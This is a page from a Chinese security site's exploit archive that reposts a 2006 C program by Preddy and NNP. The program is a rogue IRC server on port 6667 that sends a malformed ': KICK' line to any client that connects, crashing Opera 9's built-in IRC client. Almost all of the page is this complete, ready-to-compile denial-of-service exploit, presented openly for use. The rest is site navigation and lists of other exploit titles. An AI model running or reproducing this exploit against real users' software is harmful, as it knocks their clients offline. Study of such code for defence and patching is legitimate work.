首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Opera 9 IRC Client Remote Denial of Service Exploit (c)
来源:http://www.smashthestack.org 作者:Preddy 发布时间:2006-08-14  

/*
* Opera 9 IRC client DOS exploit
* by Preddy and NNP
*
* http://www.smashthestack.org
* http://silenthack.co.uk
* http://www.team-rootshell.com
*
* 12 August 2006
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define MYPORT 6667

#define BACKLOG 10

// : KICK\r\n

char die[] = {
0x3a, 0x20, 0x4b, 0x49, 0x43, 0x4b, 0x0d, 0x0a, 0x00 };

void sigchld_handler(int s)
{
while(waitpid(-1, NULL, WNOHANG) > 0);
}

int main(void)
{
int sockfd, new_fd;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
socklen_t sin_size;
struct sigaction sa;
int yes=1;

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}

if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}

my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(MYPORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(my_addr.sin_zero), '\0', 8);

if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))
== -1) {
perror("bind");
exit(1);
}

if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}

sa.sa_handler = sigchld_handler; // reap all dead processes
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
if (sigaction(SIGCHLD, &sa, NULL) == -1) {
perror("sigaction");
exit(1);
}

while(1) { // main accept() loop
sin_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
&sin_size)) == -1) {
perror("accept");
continue;
}
printf("server: got connection from %s\n",
inet_ntoa(their_addr.sin_addr));
if (!fork()) { // this is the child process
int sentBytes = 0;
close(sockfd); // child doesn't need the listener
if ((sentBytes = send(new_fd, die, sizeof(die), 0)) == -1)
perror("send");
printf("sent %d bytes\n", sentBytes);
sentBytes = 0;
close(new_fd);
exit(0);
}
close(new_fd); // parent doesn't need this
}

return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·XMB <= 1.9.6 Final basename
·Opera 9 IRC Client Remote Deni
·Nokia Symbian 60 3rd Edition B
·Internet Explorer (MDAC) Remot
·WEBinsta CMS <= 0.3.1 (temp
·MS Windows NetpIsRemote() Remo
·OpenMPT <= 1.17.02.43 Multi
·PHP <= 4.4.3 / 5.1.4 (sscan
·SAPID CMS <= 1.2.3_rc3 (roo
·Woltlab Burning Board <= 2.
·PHPMyRing <= 4.2.0 (view_co
·MS Windows PNG File IHDR Block
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved